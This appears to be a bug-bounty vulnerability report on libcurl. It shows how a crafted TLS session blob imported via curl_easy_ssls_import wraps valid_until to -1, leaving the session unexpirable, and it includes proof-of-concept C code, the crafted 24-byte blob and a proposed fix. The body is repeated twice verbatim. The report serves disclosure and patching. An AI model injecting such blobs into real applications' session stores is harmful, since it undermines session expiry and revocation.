Description
## Summary:
`curl_easy_ssls_import()` deserializes a TLS session blob and stores it in the in-memory session cache. In `Curl_ssl_session_unpack()` (`lib/vtls/vtls_spack.c:311`), the `valid_until` field is read as `uint64_t` and cast directly to `curl_off_t` (`int64_t`) with no bounds check — so a crafted blob encoding `valid_until = 0xFFFFFFFFFFFFFFFF` produces `valid_until = -1` after the cast. The import path (`Curl_ssl_session_import` → `cf_scache_peer_add_session`) stores the session directly, bypassing the `valid_until <= 0` reset that the normal add path (`cf_scache_add_session`) applies. The expiry predicate `(valid_until > 0) && (valid_until < now)` then evaluates `(-1 > 0) = FALSE`, so the session is never evicted from the cache. Additionally, `curl_easy_ssls_export()` returns `CURLE_BAD_FUNCTION_ARGUMENT` for this session (the pack side rejects `valid_until < 0`), leaving it permanently stuck in-memory yet still retrievable for TLS resumption via `Curl_ssl_scache_take()`.
> **AI Disclosure:** This report was produced with AI assistance. All findings were verified by running the proof-of-concept against libcurl 8.19.0 source code.
## Affected version
```
libcurl/8.19.0-DEV OpenSSL/3.5.5 zlib/1.3.1 brotli/1.1.0 zstd/1.5.7 nghttp2/1.64.0
Linux x86_64
Feature gate: USE_SSLS_EXPORT (enabled by default with OpenSSL, GnuTLS, wolfSSL, mbedTLS)
Introduced in: curl 8.12.0 (when curl_easy_ssls_import was added)
```
## Steps To Reproduce:
### Option A — Standalone (no libcurl build required)
Compiles and runs without any libcurl dependency. Proves the cast and expiry logic in isolation.
```c
// Save as poc_standalone.c
// Build: gcc -DSTANDALONE -o poc poc_standalone.c && ./poc
#include <stdio.h>
#include <stdint.h>
#include <time.h>
static int expiry_check(int64_t valid_until, int64_t now) {
/* exact copy of cf_scache_session_expired() — vtls_scache.c:501 */
return (valid_until > 0) && (valid_until < now);
}
int main(void) {
int64_t now = (int64_t)time(NULL);
/* attacker sets VALID_UNTIL = 0xFFFFFFFFFFFFFFFF in blob */
uint64_t evil_u64 = 0xFFFFFFFFFFFFFFFFULL;
int64_t evil_i64 = (int64_t)evil_u64; /* vtls_spack.c:311 — no check */
printf("val64 in blob : 0x%016llx\n", (unsigned long long)evil_u64);
printf("valid_until : %lld (wraps to -1)\n", (long long)evil_i64);
printf("(-1 > 0) : %s → session NEVER expires\n",
(evil_i64 > 0) ? "TRUE" : "FALSE");
printf("expired? : %s\n",
expiry_check(evil_i64, now) ? "YES" : "NO ← BUG");
return 0;
}
```
**Expected output:**
```
val64 in blob : 0xffffffffffffffff
valid_until : -1 (wraps to -1)
(-1 > 0) : FALSE → session NEVER expires
expired? : NO ← BUG
```
---
### Option B — Full libcurl PoC
Requires libcurl ≥ 8.12.0 built with `USE_SSLS_EXPORT`.
**Crafted blob (24 bytes, TLV big-endian as defined in `vtls_spack.c`):**
```
01 ← CURL_SPACK_VERSION marker (0x01)
04 00 08 ← CURL_SPACK_TICKET tag + uint16 length = 8
DE AD BE EF CA FE BA BE ← 8 bytes dummy ticket data
02 03 04 ← CURL_SPACK_IETF_ID tag + uint16 = 0x0304 (TLS 1.3)
03 ← CURL_SPACK_VALID_UNTIL tag
FF FF FF FF FF FF FF FF ← uint64 big-endian = UINT64_MAX → int64 = -1
```
```c
// Save as poc.c
// Build: gcc -o poc poc.c -lcurl && ./poc
#include <stdio.h>
#include <curl/curl.h>
static const unsigned char crafted_blob[] = {
0x01,
0x04, 0x00, 0x08, 0xde, 0xad, 0xbe, 0xef, 0xca, 0xfe, 0xba, 0xbe,
0x02, 0x03, 0x04,
0x03, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
int main(void) {
CURL *curl;
CURLSH *share;
CURLcode rc;
curl_global_init(CURL_GLOBAL_DEFAULT);
/* share needed to initialise the TLS session cache (ssl_scache) */
share = curl_share_init();
curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_SSL_SESSION);
curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_SHARE, share);
rc = curl_easy_ssls_import(curl,
"example.com:443:G", /* global peer key */
NULL, 0,
crafted_blob, sizeof(crafted_blob));
printf("curl_easy_ssls_import: %d (%s)\n", rc, curl_easy_strerror(rc));
/* Expected: 0 (No error) — blob accepted, session stored with valid_until=-1 */
curl_easy_cleanup(curl);
curl_share_cleanup(share);
curl_global_cleanup();
return rc;
}
```
**Expected output (vulnerable build):**
```
curl_easy_ssls_import: 0 (No error)
```
The session is now in the TLS cache with `valid_until = -1`. It survives every subsequent call to `cf_scache_peer_remove_expired()` because `(-1 > 0) = FALSE`. It is also un-exportable — `curl_easy_ssls_export()` returns `CURLE_BAD_FUNCTION_ARGUMENT` (43) for it because `Curl_ssl_session_pack()` rejects `valid_until < 0` — leaving it permanently irremovable while still being served to servers via `Curl_ssl_scache_take()`.
---
### Relevant source locations
| File | Line | Note |
|------|------|------|
| `lib/vtls/vtls_spack.c` | 311 | `s->valid_until = (curl_off_t)val64;` — missing bounds check |
| `lib/vtls/vtls_spack.c` | 199 | Pack side rejects `< 0`, unpack side does not |
| `lib/vtls/vtls_scache.c` | 501 | `(valid_until > 0) && (valid_until < now)` — negative bypasses |
| `lib/vtls/vtls_scache.c` | 796 | Normal add path resets `<= 0` — import path skips this |
| `lib/vtls/vtls_scache.c` | 1127 | Import calls `cf_scache_peer_add_session` directly, no reset |
### Proposed fix
```c
/* vtls_spack.c, after spack_dec64 call in CURL_SPACK_VALID_UNTIL case */
if(val64 > (uint64_t)CURL_OFF_T_MAX) {
r = CURLE_READ_ERROR;
goto out;
}
s->valid_until = (curl_off_t)val64;
```
## Impact
An attacker who can write to the session blob passed to curl_easy_ssls_import() — for example by tampering with a session persistence file on disk — can inject a TLS session with valid_until = -1. This session is never evicted from the in-memory TLS cache (expiry check always FALSE) and cannot be cleaned up via re-export. If the injected ticket corresponds to a revoked or compromised TLS session, libcurl will continue offering it for TLS session resumption indefinitely, bypassing the intended expiry-based eviction. Applications most at risk are those that persist TLS sessions to disk across process restarts with weak file permission controls on the session store.
`curl_easy_ssls_import()` deserializes a TLS session blob and stores it in the in-memory session cache. In `Curl_ssl_session_unpack()` (`lib/vtls/vtls_spack.c:311`), the `valid_until` field is read as `uint64_t` and cast directly to `curl_off_t` (`int64_t`) with no bounds check — so a crafted blob encoding `valid_until = 0xFFFFFFFFFFFFFFFF` produces `valid_until = -1` after the cast. The import path (`Curl_ssl_session_import` → `cf_scache_peer_add_session`) stores the session directly, bypassing the `valid_until <= 0` reset that the normal add path (`cf_scache_add_session`) applies. The expiry predicate `(valid_until > 0) && (valid_until < now)` then evaluates `(-1 > 0) = FALSE`, so the session is never evicted from the cache. Additionally, `curl_easy_ssls_export()` returns `CURLE_BAD_FUNCTION_ARGUMENT` for this session (the pack side rejects `valid_until < 0`), leaving it permanently stuck in-memory yet still retrievable for TLS resumption via `Curl_ssl_scache_take()`.
> **AI Disclosure:** This report was produced with AI assistance. All findings were verified by running the proof-of-concept against libcurl 8.19.0 source code.
## Affected version
```
libcurl/8.19.0-DEV OpenSSL/3.5.5 zlib/1.3.1 brotli/1.1.0 zstd/1.5.7 nghttp2/1.64.0
Linux x86_64
Feature gate: USE_SSLS_EXPORT (enabled by default with OpenSSL, GnuTLS, wolfSSL, mbedTLS)
Introduced in: curl 8.12.0 (when curl_easy_ssls_import was added)
```
## Steps To Reproduce:
### Option A — Standalone (no libcurl build required)
Compiles and runs without any libcurl dependency. Proves the cast and expiry logic in isolation.
```c
// Save as poc_standalone.c
// Build: gcc -DSTANDALONE -o poc poc_standalone.c && ./poc
#include <stdio.h>
#include <stdint.h>
#include <time.h>
static int expiry_check(int64_t valid_until, int64_t now) {
/* exact copy of cf_scache_session_expired() — vtls_scache.c:501 */
return (valid_until > 0) && (valid_until < now);
}
int main(void) {
int64_t now = (int64_t)time(NULL);
/* attacker sets VALID_UNTIL = 0xFFFFFFFFFFFFFFFF in blob */
uint64_t evil_u64 = 0xFFFFFFFFFFFFFFFFULL;
int64_t evil_i64 = (int64_t)evil_u64; /* vtls_spack.c:311 — no check */
printf("val64 in blob : 0x%016llx\n", (unsigned long long)evil_u64);
printf("valid_until : %lld (wraps to -1)\n", (long long)evil_i64);
printf("(-1 > 0) : %s → session NEVER expires\n",
(evil_i64 > 0) ? "TRUE" : "FALSE");
printf("expired? : %s\n",
expiry_check(evil_i64, now) ? "YES" : "NO ← BUG");
return 0;
}
```
**Expected output:**
```
val64 in blob : 0xffffffffffffffff
valid_until : -1 (wraps to -1)
(-1 > 0) : FALSE → session NEVER expires
expired? : NO ← BUG
```
---
### Option B — Full libcurl PoC
Requires libcurl ≥ 8.12.0 built with `USE_SSLS_EXPORT`.
**Crafted blob (24 bytes, TLV big-endian as defined in `vtls_spack.c`):**
```
01 ← CURL_SPACK_VERSION marker (0x01)
04 00 08 ← CURL_SPACK_TICKET tag + uint16 length = 8
DE AD BE EF CA FE BA BE ← 8 bytes dummy ticket data
02 03 04 ← CURL_SPACK_IETF_ID tag + uint16 = 0x0304 (TLS 1.3)
03 ← CURL_SPACK_VALID_UNTIL tag
FF FF FF FF FF FF FF FF ← uint64 big-endian = UINT64_MAX → int64 = -1
```
```c
// Save as poc.c
// Build: gcc -o poc poc.c -lcurl && ./poc
#include <stdio.h>
#include <curl/curl.h>
static const unsigned char crafted_blob[] = {
0x01,
0x04, 0x00, 0x08, 0xde, 0xad, 0xbe, 0xef, 0xca, 0xfe, 0xba, 0xbe,
0x02, 0x03, 0x04,
0x03, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
int main(void) {
CURL *curl;
CURLSH *share;
CURLcode rc;
curl_global_init(CURL_GLOBAL_DEFAULT);
/* share needed to initialise the TLS session cache (ssl_scache) */
share = curl_share_init();
curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_SSL_SESSION);
curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_SHARE, share);
rc = curl_easy_ssls_import(curl,
"example.com:443:G", /* global peer key */
NULL, 0,
crafted_blob, sizeof(crafted_blob));
printf("curl_easy_ssls_import: %d (%s)\n", rc, curl_easy_strerror(rc));
/* Expected: 0 (No error) — blob accepted, session stored with valid_until=-1 */
curl_easy_cleanup(curl);
curl_share_cleanup(share);
curl_global_cleanup();
return rc;
}
```
**Expected output (vulnerable build):**
```
curl_easy_ssls_import: 0 (No error)
```
The session is now in the TLS cache with `valid_until = -1`. It survives every subsequent call to `cf_scache_peer_remove_expired()` because `(-1 > 0) = FALSE`. It is also un-exportable — `curl_easy_ssls_export()` returns `CURLE_BAD_FUNCTION_ARGUMENT` (43) for it because `Curl_ssl_session_pack()` rejects `valid_until < 0` — leaving it permanently irremovable while still being served to servers via `Curl_ssl_scache_take()`.
---
### Relevant source locations
| File | Line | Note |
|------|------|------|
| `lib/vtls/vtls_spack.c` | 311 | `s->valid_until = (curl_off_t)val64;` — missing bounds check |
| `lib/vtls/vtls_spack.c` | 199 | Pack side rejects `< 0`, unpack side does not |
| `lib/vtls/vtls_scache.c` | 501 | `(valid_until > 0) && (valid_until < now)` — negative bypasses |
| `lib/vtls/vtls_scache.c` | 796 | Normal add path resets `<= 0` — import path skips this |
| `lib/vtls/vtls_scache.c` | 1127 | Import calls `cf_scache_peer_add_session` directly, no reset |
### Proposed fix
```c
/* vtls_spack.c, after spack_dec64 call in CURL_SPACK_VALID_UNTIL case */
if(val64 > (uint64_t)CURL_OFF_T_MAX) {
r = CURLE_READ_ERROR;
goto out;
}
s->valid_until = (curl_off_t)val64;
```
## Impact
An attacker who can write to the session blob passed to curl_easy_ssls_import() — for example by tampering with a session persistence file on disk — can inject a TLS session with valid_until = -1. This session is never evicted from the in-memory TLS cache (expiry check always FALSE) and cannot be cleaned up via re-export. If the injected ticket corresponds to a revoked or compromised TLS session, libcurl will continue offering it for TLS session resumption indefinitely, bypassing the intended expiry-based eviction. Applications most at risk are those that persist TLS sessions to disk across process restarts with weak file permission controls on the session store.
Basic Information
ID
H1:3658049
Published
Apr 8, 2026 at 13:18
Modified
Apr 9, 2026 at 05:49